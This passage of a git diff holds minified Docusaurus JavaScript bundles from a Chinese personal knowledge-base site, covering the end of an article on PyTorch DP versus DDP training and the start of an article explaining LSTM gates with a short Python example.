f0f\u4f1a\u6548\u7387\u4f4e\u4e00\u4e9b\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"ddp\u7684\u4f18\u52bf",children:"DDP\u7684\u4f18\u52bf"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"1. \u6bcf\u4e2a\u8fdb\u7a0b\u5bf9\u5e94\u4e00\u4e2a\u72ec\u7acb\u7684\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u4e14\u53ea\u5bf9\u68af\u5ea6\u7b49\u5c11\u91cf\u6570\u636e\u8fdb\u884c\u4fe1\u606f\u4ea4\u6362\u3002"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:(0,s.jsx)(n.code,{children:"DDP"})})," \u5728\u6bcf\u6b21\u8fed\u4ee3\u4e2d\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u5177\u6709\u81ea\u5df1\u7684 ",(0,s.jsx)(n.code,{children:"optimizer"})," \uff0c\u5e76\u72ec\u7acb\u5b8c\u6210\u6240\u6709\u7684\u4f18\u5316\u6b65\u9aa4\uff0c\u8fdb\u7a0b\u5185\u4e0e\u4e00\u822c\u7684\u8bad\u7ec3\u65e0\u5f02\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5404\u8fdb\u7a0b\u68af\u5ea6\u8ba1\u7b97\u5b8c\u6210\u4e4b\u540e\uff0c\u5404\u8fdb\u7a0b\u9700\u8981\u5c06",(0,s.jsx)(n.strong,{children:"\u68af\u5ea6"}),"\u8fdb\u884c\u6c47\u603b\u5e73\u5747\uff0c\u7136\u540e\u518d\u7531 ",(0,s.jsx)(n.code,{children:"rank=0"})," \u7684\u8fdb\u7a0b\uff0c\u5c06\u5176 ",(0,s.jsx)(n.code,{children:"broadcast"})," \u5230\u6240\u6709\u8fdb\u7a0b\u3002\u4e4b\u540e\uff0c\u5404\u8fdb\u7a0b\u7528\u8be5\u68af\u5ea6\u6765\u72ec\u7acb\u7684\u66f4\u65b0\u53c2\u6570\u3002\u800c ",(0,s.jsx)(n.code,{children:"DP"}),"\u662f",(0,s.jsx)(n.strong,{children:"\u68af\u5ea6\u6c47\u603b\u5230\u4e3b"})," ",(0,s.jsx)(n.code,{children:"GPU"}),"\uff0c",(0,s.jsx)(n.strong,{children:"\u53cd\u5411\u4f20\u64ad\u66f4\u65b0\u53c2\u6570"}),"\uff0c\u518d\u5e7f\u64ad\u53c2\u6570\u7ed9\u5176\u4ed6\u7684 GPU\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:(0,s.jsx)(n.code,{children:"DDP"})})," \u4e2d\u7531\u4e8e\u5404\u8fdb\u7a0b\u4e2d\u7684\u6a21\u578b\uff0c\u521d\u59cb\u53c2\u6570\u4e00\u81f4 (\u521d\u59cb\u65f6\u523b\u8fdb\u884c\u4e00\u6b21 ",(0,s.jsx)(n.code,{children:"broadcast"}),")\uff0c\u800c\u6bcf\u6b21\u7528\u4e8e\u66f4\u65b0\u53c2\u6570\u7684\u68af\u5ea6\u4e5f\u4e00\u81f4\uff0c\u56e0\u6b64\uff0c\u5404\u8fdb\u7a0b\u7684\u6a21\u578b\u53c2\u6570\u59cb\u7ec8\u4fdd\u6301\u4e00\u81f4\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u800c\u5728",(0,s.jsx)(n.code,{children:"DP"})," \u4e2d\uff0c\u5168\u7a0b\u7ef4\u62a4\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"optimizer"}),"\uff0c\u5bf9\u5404 ",(0,s.jsx)(n.code,{children:"GPU"})," \u4e0a\u68af\u5ea6\u8fdb\u884c\u6c42\u548c\uff0c\u800c\u5728\u4e3b ",(0,s.jsx)(n.code,{children:"GPU"})," \u8fdb\u884c\u53c2\u6570\u66f4\u65b0\uff0c\u4e4b\u540e\u518d\u5c06\u6a21\u578b\u53c2\u6570 ",(0,s.jsx)(n.code,{children:"broadcast"})," \u5230\u5176\u4ed6 ",(0,s.jsx)(n.code,{children:"GPU"}),"\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u76f8\u8f83\u4e8e**",(0,s.jsx)(n.code,{children:"DP"}),(0,s.jsx)(n.strong,{children:"\uff0c"}),(0,s.jsx)(n.code,{children:"DDP"}),"**\u4f20\u8f93\u7684\u6570\u636e\u91cf\u66f4\u5c11\uff0c\u56e0\u6b64\u901f\u5ea6\u66f4\u5feb\uff0c\u6548\u7387\u66f4\u9ad8\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"2. \u6bcf\u4e2a\u8fdb\u7a0b\u5305\u542b\u72ec\u7acb\u7684\u89e3\u91ca\u5668\u548c GIL\u3002"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e00\u822c\u4f7f\u7528\u7684 ",(0,s.jsx)(n.code,{children:"Python"})," \u89e3\u91ca\u5668 ",(0,s.jsx)(n.code,{children:"CPython"}),"\uff1a\u662f\u7528 ",(0,s.jsx)(n.code,{children:"C"})," \u8bed\u8a00\u5b9e\u73b0 ",(0,s.jsx)(n.code,{children:"Pyhon"}),"\uff0c\u662f\u76ee\u524d\u5e94\u7528\u6700\u5e7f\u6cdb\u7684\u89e3\u91ca\u5668\u3002\u5168\u5c40\u9501\u4f7f ",(0,s.jsx)(n.code,{children:"Python"})," \u5728\u591a\u7ebf\u7a0b\u6548\u80fd\u4e0a\u8868\u73b0\u4e0d\u4f73\uff0c\u5168\u5c40\u89e3\u91ca\u5668\u9501\uff08",(0,s.jsx)(n.code,{children:"Global Interpreter Lock"}),"\uff09\u662f ",(0,s.jsx)(n.code,{children:"Python"})," \u7528\u4e8e\u540c\u6b65\u7ebf\u7a0b\u7684\u5de5\u5177\uff0c\u4f7f\u5f97\u4efb\u4f55\u65f6\u523b\u4ec5\u6709\u4e00\u4e2a\u7ebf\u7a0b\u5728\u6267\u884c\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u7531\u4e8e\u6bcf\u4e2a\u8fdb\u7a0b\u62e5\u6709\u72ec\u7acb\u7684\u89e3\u91ca\u5668\u548c ",(0,s.jsx)(n.code,{children:"GIL"}),"\uff0c\u6d88\u9664\u4e86\u6765\u81ea\u5355\u4e2a ",(0,s.jsx)(n.code,{children:"Python"})," \u8fdb\u7a0b\u4e2d\u7684\u591a\u4e2a\u6267\u884c\u7ebf\u7a0b\uff0c\u6a21\u578b\u526f\u672c\u6216 ",(0,s.jsx)(n.code,{children:"GPU"})," \u7684\u989d\u5916\u89e3\u91ca\u5668\u5f00\u9500\u548c ",(0,s.jsx)(n.code,{children:"GIL-thrashing"})," \uff0c\u56e0\u6b64\u53ef\u4ee5\u51cf\u5c11\u89e3\u91ca\u5668\u548c ",(0,s.jsx)(n.code,{children:"GIL"})," \u4f7f\u7528\u51b2\u7a81\u3002\u8fd9\u5bf9\u4e8e\u4e25\u91cd\u4f9d\u8d56 ",(0,s.jsx)(n.code,{children:"Python runtime"})," \u7684 ",(0,s.jsx)(n.code,{children:"models"})," \u800c\u8a00\uff0c\u6bd4\u5982\u8bf4\u5305\u542b ",(0,s.jsx)(n.code,{children:"RNN"})," \u5c42\u6216\u5927\u91cf\u5c0f\u7ec4\u4ef6\u7684 ",(0,s.jsx)(n.code,{children:"models"})," \u800c\u8a00\uff0c\u8fd9\u5c24\u4e3a\u91cd\u8981\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"ddp-\u7684\u7f3a\u70b9",children:"DDP \u7684\u7f3a\u70b9"}),"\n",(0,s.jsxs)(n.p,{children:["\u6682\u65f6\u6765\u8bf4\uff0c",(0,s.jsx)(n.code,{children:"DDP"}),"\u662f\u91c7\u7528\u591a\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u7684\u65b9\u5f0f\uff0c\u5e76\u4e14\u8bad\u7ec3\u901f\u5ea6\u8f83\u9ad8\uff0c\u4ed6\u7684\u7f3a\u70b9\u4e3b\u8981\u5c31\u662f\uff0c\u9700\u8981\u4fee\u6539\u6bd4\u8f83\u591a\u7684\u4ee3\u7801\uff0c\u6bd4",(0,s.jsx)(n.code,{children:"DP"}),"\u7684\u4e00\u884c\u4ee3\u7801\u8f83\u4e3a\u7e41\u7410\u8bb8\u591a\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.csdn.net/kuweicai/article/details/120516410",children:"Pytorch \u5e76\u884c\u8bad\u7ec3\uff08DP\uff0c DDP\uff09\u7684\u539f\u7406\u548c\u5e94\u7528"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/447563272",children:"Pytorch\u4e2d\u5355\u673a\u591a\u5361\u5206\u5e03\u5f0f\u8bad\u7ec3"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://medium.com/huggingface/training-larger-batches-practical-tips-on-1-gpu-multi-gpu-distributed-setups-ec88c3e51255",children:"Training Neural Nets on Larger Batches: Practical Tips for 1-GPU, Multi-GPU & Distributed setups"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://pytorch.org/docs/stable/generated/torch.nn.parallel.DistributedDataParallel.html?highlight=distributeddataparallel#torch.nn.parallel.DistributedDataParallel",children:"DISTRIBUTEDDATAPARALLEL"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.csdn.net/ytusdc/article/details/122091284",children:"Pytorch \u5206\u5e03\u5f0f\u8bad\u7ec3\uff08DP/DDP\uff09"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://pytorch.org/docs/stable/distributed.html",children:"DISTRIBUTED COMMUNICATION PACKAGE - TORCH.DISTRIBUTED"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/86441879",children:"pytorch\u591agpu\u5e76\u884c\u8bad\u7ec3"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},50655:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/split-5840479b580542fbf7a93b799897c79e.png"},69363:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/DP-428ec15ac07925bbf216de1381477c9e.png"},69439:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/model_parllel-a891317fd16aa7c19ce8a5bffbb56039.png"},76452:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png"},86012:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png"},88135:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png"}}]); \ No newline at end of file diff --git a/en/assets/js/571cdf6c.522fcc81.js b/en/assets/js/571cdf6c.522fcc81.js new file mode 100644 index 0000000..ade621f --- /dev/null +++ b/en/assets/js/571cdf6c.522fcc81.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2672],{20061:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg"},28453:(n,e,s)=>{s.d(e,{R:()=>h,x:()=>l});var i=s(96540);const d={},t=i.createContext(d);function h(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(d):n.components||d:h(n.components),i.createElement(t.Provider,{value:e},n.children)}},34978:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg"},43277:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg"},47272:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg"},82543:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg"},92447:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>r,contentTitle:()=>l,default:()=>j,frontMatter:()=>h,metadata:()=>i,toc:()=>c});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"10.3 \u56fe\u50cf\u5206\u5272.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272"},"next":{"title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0"}}');var d=s(74848),t=s(28453);const h={},l="LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md",r={},c=[{value:"\u95e8",id:"\u95e8",level:2},{value:"\u9057\u5fd8\u95e8",id:"\u9057\u5fd8\u95e8",level:2},{value:"\u8bb0\u5fc6\u95e8",id:"\u8bb0\u5fc6\u95e8",level:2},{value:"\u72b6\u6001\u66f4\u65b0",id:"\u72b6\u6001\u66f4\u65b0",level:2},{value:"\u8f93\u51fa\u95e8",id:"\u8f93\u51fa\u95e8",level:2},{value:"\u6a21\u578b\u603b\u7ed3",id:"\u6a21\u578b\u603b\u7ed3",level:2},{value:"\u5b9e\u9a8c\u8bf4\u660e",id:"\u5b9e\u9a8c\u8bf4\u660e",level:2},{value:"\u6a21\u578b\u5b9e\u73b0",id:"\u6a21\u578b\u5b9e\u73b0",level:2},{value:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e",id:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e",level:2},{value:"MyLSTM \u4e0e nn.LSTM",id:"mylstm-\u4e0e-nnlstm",level:3},{value:"nn.RNN",id:"nnrnn",level:3},{value:"\u5b9e\u9a8c\u7ed3\u679c",id:"\u5b9e\u9a8c\u7ed3\u679c",level:2}];function x(n){const e={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(e.header,{children:(0,d.jsx)(e.h1,{id:"lstm\u89e3\u8bfb\u53ca\u5b9e\u6218md",children:"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"\u6587\u7ae0\u7ed3\u6784",children:"\u6587\u7ae0\u7ed3\u6784"}),"\n",(0,d.jsxs)(e.p,{children:["\u5728",(0,d.jsx)(e.a,{href:"/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/RNN%E8%AF%A6%E8%A7%A3%E5%8F%8A%E5%85%B6%E5%AE%9E%E7%8E%B0",children:"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u6218"}),"\u4e2d\uff0c\u6211\u4eec\u7b80\u5355\u8ba8\u8bba\u4e86\u4e3a\u4ec0\u4e48\u9700\u8981RNN\u8fd9\u7c7b\u6a21\u578b\u3001RNN\u7684\u5177\u4f53\u601d\u8def\u3001RNN\u7684\u7b80\u5355\u5b9e\u73b0\u7b49\u95ee\u9898\u3002\u540c\u65f6\uff0c\u5728\u6587\u7ae0\u7ed3\u5c3e\u90e8\u5206\u6211\u4eec\u63d0\u5230\u4e86RNN\u5b58\u5728\u7684\u68af\u5ea6\u6d88\u5931\u95ee\u9898\uff0c\u53ca\u4e4b\u540e\u7684\u4e00\u4e2a\u89e3\u51b3\u65b9\u6848\uff1a",(0,d.jsx)(e.strong,{children:"LSTM"}),"\u3002\u56e0\u6b64\uff0c\u672c\u7bc7\u6587\u7ae0\u4e3b\u8981\u7ed3\u6784\u5982\u4e0b\uff1a"]}),"\n",(0,d.jsxs)(e.ol,{children:["\n",(0,d.jsx)(e.li,{children:"LSTM \u7406\u89e3\u53ca\u7b80\u5355\u5b9e\u73b0"}),"\n",(0,d.jsx)(e.li,{children:"LSTM \u5b9e\u6218"}),"\n",(0,d.jsx)(e.li,{children:"\u7ecf\u5178 RNN \u4e0e LSTM \u5bf9\u6bd4"}),"\n",(0,d.jsx)(e.li,{children:"\u5173\u4e8e\u68af\u5ea6\u6d88\u5931"}),"\n"]}),"\n",(0,d.jsx)(e.h1,{id:"lstm-\u7406\u89e3",children:"LSTM \u7406\u89e3"}),"\n",(0,d.jsx)(e.p,{children:"\u5176\u5b9e\uff0c\u6211\u4eec\u5c06 LSTM \u4e0e RNN \u8bf4\u6210\u4e24\u4e2a\u5e76\u4e0d\u53ef\u53d6\uff0c LSTM \u4f9d\u7136\u5f52\u5c5e\u4e8e RNN \u4e4b\u4e0b\uff0c\u76f8\u6bd4\u4e8e\u4f7f\u7528\u7ebf\u6027\u56de\u5f52\u65b9\u5f0f\u6765\u5904\u7406\u5e8f\u5217\u95ee\u9898\uff0c LSTM \u5176\u5b9e\u662f\u8bbe\u8ba1\u4e86\u4e00\u4e2a\u6a21\u5757\u6765\u53d6\u4ee3\u7ebf\u6027\u56de\u5f52\u7b97\u6cd5\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["LSTM(Long Short-Term Memory)\uff0c\u7ffb\u8bd1\u8fc7\u6765\u662f\u957f\u77ed\u671f\u8bb0\u5fc6\u6cd5\uff0c\u5176\u6838\u5fc3\u601d\u60f3\u53ef\u4ee5\u8bf4\u975e\u5e38\u7684\u7b80\u5355\uff1a\u65e2\u7136 RNN \u53ea\u80fd\u4fdd\u5b58\u77ed\u671f\u7684\u8bb0\u5fc6\uff0c\u90a3\u6211\u589e\u52a0\u4e00\u4e2a\u957f\u671f\u8bb0\u5fc6\uff0c\u4e0d\u5c31\u53ef\u4ee5\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u4e86\u540d\uff1f\u56e0\u6b64\uff0cLSTM\u63d0\u51fa\u4e86\u957f\u671f\u8bb0\u5fc6\u548c\u77ed\u671f\u8bb0\u5fc6\uff0c\u901a\u8fc7\u8c03\u6574\u957f\u671f\u8bb0\u5fc6\u548c\u77ed\u671f\u8bb0\u5fc6\u4e4b\u95f4\u7684\u6bd4\u4f8b\uff0c\u6765\u7ef4\u6301\u957f\u671f\u8bb0\u5fc6\u7684\u53ef\u9760\uff0c\u964d\u4f4e RNN \u7684\u68af\u5ea6\u6d88\u5931\u95ee\u9898\u3002\u53ef\u4ee5\u770b\u5230\u4e0b\u65b9\u7ed3\u6784\u56fe\u4e2d\uff0c\u6a21\u578b\u8f93\u5165\u7531\u4e24\u4e2a\u5347\u7ea7\u5230\u4e09\u4e2a\uff0c\u5206\u522b\u662f\u5f53\u524d\u8282\u70b9\u72b6\u6001 $\\mathbf{X}",(0,d.jsx)(e.em,{children:"{t}$\uff0c\u957f\u671f\u8bb0\u5fc6\uff1a$\\mathbf{C}"}),"{t-1}$\uff0c\u77ed\u671f\u8bb0\u5fc6 $\\mathbf{H}",(0,d.jsx)(e.em,{children:"{t-1}$\u3002\u8f93\u51fa\u72b6\u6001\u4f9d\u7136\u662f\u4e24\u4e2a\uff1a\u8282\u70b9\u5f53\u524d\u72b6\u6001 $\\mathbf{C}"}),"{t}$\uff0c\u548c\u8282\u70b9\u5f53\u524d\u9690\u85cf\u72b6\u6001 $\\mathbf{H}_{t}$\u3002"]}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"LSTM\u7ed3\u6784\u56fe",src:s(34978).A+"",width:"1535",height:"669"})}),"\n",(0,d.jsx)(e.p,{children:"\u90a3\u4e48\u95ee\u9898\u6765\u4e86\uff0c LSTM \u662f\u5982\u4f55\u5b9e\u73b0\u5bf9\u957f\u77ed\u8bb0\u5fc6\u7684\u63a7\u5236\u5462\uff1f\n\u8fd9\u5c31\u4e0d\u5f97\u4e0d\u63d0\u4f17\u4eba\u6240\u77e5\u7684\u4e09\u4e2a\u95e8\uff1a"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:"\u9057\u5fd8\u95e8\uff1a\u63a7\u5236\u4fdd\u7559\u591a\u5c11\u4e0a\u4e00\u65f6\u523b\u7684\u5355\u5143\u8282\u70b9\u5230\u5f53\u524d\u8282\u70b9"}),"\n",(0,d.jsx)(e.li,{children:"\u8bb0\u5fc6\u95e8\uff1a\u63a7\u5236\u5c06\u5f53\u524d\u65f6\u523b\u7684\u591a\u5c11\u4fe1\u606f\u8bb0\u5fc6\u5230\u8282\u70b9\u4e2d"}),"\n",(0,d.jsx)(e.li,{children:"\u8f93\u51fa\u95e8\uff1a\u63a7\u5236\u8f93\u51fa\u591a\u5c11\u4fe1\u606f\u7ed9\u5f53\u524d\u8f93\u51fa"}),"\n"]}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u5206\u6790\u4e09\u4e2a\u95e8\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u4e86\u89e3 ",(0,d.jsx)(e.strong,{children:"\u95e8"})," \u8fd9\u4e00\u6982\u5ff5\u3002"]}),"\n",(0,d.jsx)(e.h2,{id:"\u95e8",children:"\u95e8"}),"\n",(0,d.jsxs)(e.p,{children:["\u4ece\u7b80\u5316\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c ",(0,d.jsx)(e.strong,{children:"\u95e8"}),"\u7684\u611f\u89c9\u7c7b\u4f3c\u4e8e\u7535\u8def\u4e2d\u7684\u4e00\u4e2a\u5f00\u5173\uff0c\u5f53\u5f00\u5173\u6309\u4e0b\uff0c\u4fe1\u606f\u901a\u8fc7\uff0c\u800c\u5f00\u5173\u62ac\u8d77\uff0c\u4fe1\u606f\u4e0d\u518d\u901a\u8fc7\u3002\u5b9e\u9645\u4e5f\u5982\u6b64\u7c7b\u4f3c\uff0c",(0,d.jsx)(e.strong,{children:"\u95e8"}),"\u662f\u4e00\u4e2a\u5168\u8fde\u63a5\u5c42\uff0c\u8f93\u5165\u4e3a\u4e00\u4e2a\u5411\u91cf\uff0c\u8f93\u51fa\u4e3a\u4e00\u4e2a\u4f4d\u4e8e [0,1] \u4e4b\u95f4\u7684\u503c\u3002\n\u6211\u4eec\u6765\u8bbe\u8ba1\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u9057\u5fd8\u95e8\uff1a\u6bcf\u6b21\u5b66\u4e60\u72b6\u6001\u4e4b\u540e\uff0c\u90fd\u9057\u5fd8\u4e00\u5b9a\u7684\u5df2\u5b66\u4e60\u5185\u5bb9\uff0c\u6ce8\u610f\uff0c\u8fd9\u91cc\u7684\u9057\u5fd8\u95e8\u4e0e LSTM \u7684\u9057\u5fd8\u95e8\u65e0\u5173\uff0c\u5355\u7eaf\u7406\u89e3 ",(0,d.jsx)(e.strong,{children:"\u95e8"})," \u8fd9\u4e00\u6982\u5ff5\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"# \u4e00\u4e2a\u7ebf\u6027\u5c42 \u7528\u6765\u8ba1\u7b97\u9057\u5fd8\u591a\u5c11\ngate_linear = nn.Linear(hidden_size, 1)\n# \u4e00\u4e2a\u7ebf\u6027\u5c42 \u7528\u6765\u5b66\u4e60\nstudy_linear = nn.Linear(hidden_size, hidden_size)\n# \u6b64\u523b h_t \u662f\u4e0a\u4e00\u65f6\u523b\u72b6\u6001\n# \u8f93\u51fa\u4e3a 0 - 1 \u7684\u503c\ngate = gate_linear(h_t)\n# h_t \u7ecf\u8fc7 study_linear \u8fdb\u884c\u5b66\u4e60\n_h_t = study_linear(h_t)\n# \u5728\u8f93\u51fa\u7ed3\u679c\u4e4b\u524d\uff0c\u7ecf\u8fc7 gate \u5bfc\u81f4\u5185\u5bb9\u53d7\u635f\uff0c\u9057\u5fd8\u4e86\u4e00\u5b9a\u7684\u5b66\u4e60\u5185\u5bb9\nh_t = gate * \uff08_h_t\uff09\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u5982\u679c $gate$ \u503c\u4e3a 0\uff0c\u5219\u5386\u53f2\u4fe1\u606f\u5747\u4f1a\u88ab\u9057\u5fd8\uff0c\u800c\u5982\u679c\u503c\u4e3a1\uff0c\u5219\u5386\u53f2\u4fe1\u606f\u5219\u4f1a\u88ab\u5b8c\u5168\u4fdd\u7559\uff0c\u800c ",(0,d.jsx)(e.code,{children:"gate_linear"})," \u7f51\u7edc\u4e2d\u7684\u8d85\u53c2\u6570\u4f1a\u4e0d\u65ad\u7684\u5b66\u4e60\uff0c\u56e0\u6b64\u4e00\u4e2a\u53ef\u4ee5\u5b66\u4e60\u7684\u5f00\u5173\u95e8\u5c31\u51fa\u73b0\u4e86\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u4f46\u662f\uff0c$gate$ \u4f5c\u4e3a\u4e00\u4e2a\u6d6e\u70b9\u578b\u7684\u6570\u636e\uff0c\u5bf9\u4e8e \u4e34\u65f6\u7ed3\u679c\u77e9\u9635\u53d8\u91cf $_h_t$ \u800c\u8a00\uff0c\u5176\u9057\u5fd8\u63a7\u5236\u662f\u5168\u5c40\u7684\uff0c\u4e5f\u5c31\u662f\uff0c\u5f53 $gate$ \u4e3a 0 \u65f6\uff0c \u5176\u6700\u7ec8\u7ed3\u679c $h_t$ \u4e3a\u5168 0 \u77e9\u9635\u3002\u56e0\u6b64\u6211\u4eec\u5e94\u8be5\u6ce8\u610f\uff1a LSTM \u4e2d\u5e76\u4e0d\u91c7\u7528\u8fd9\u6837\u7684\u5927\u95f8\u95e8\uff0c\u800c\u662f\u91c7\u7528\u5bf9\u6bcf\u4e2a\u53d8\u91cf\u8fdb\u884c\u5206\u522b\u63a7\u5236\u7684\u5c0f\u6c34\u9f99\u5934(\u795e\u7ecf\u7f51\u7edc\u6fc0\u6d3b\u51fd\u6570 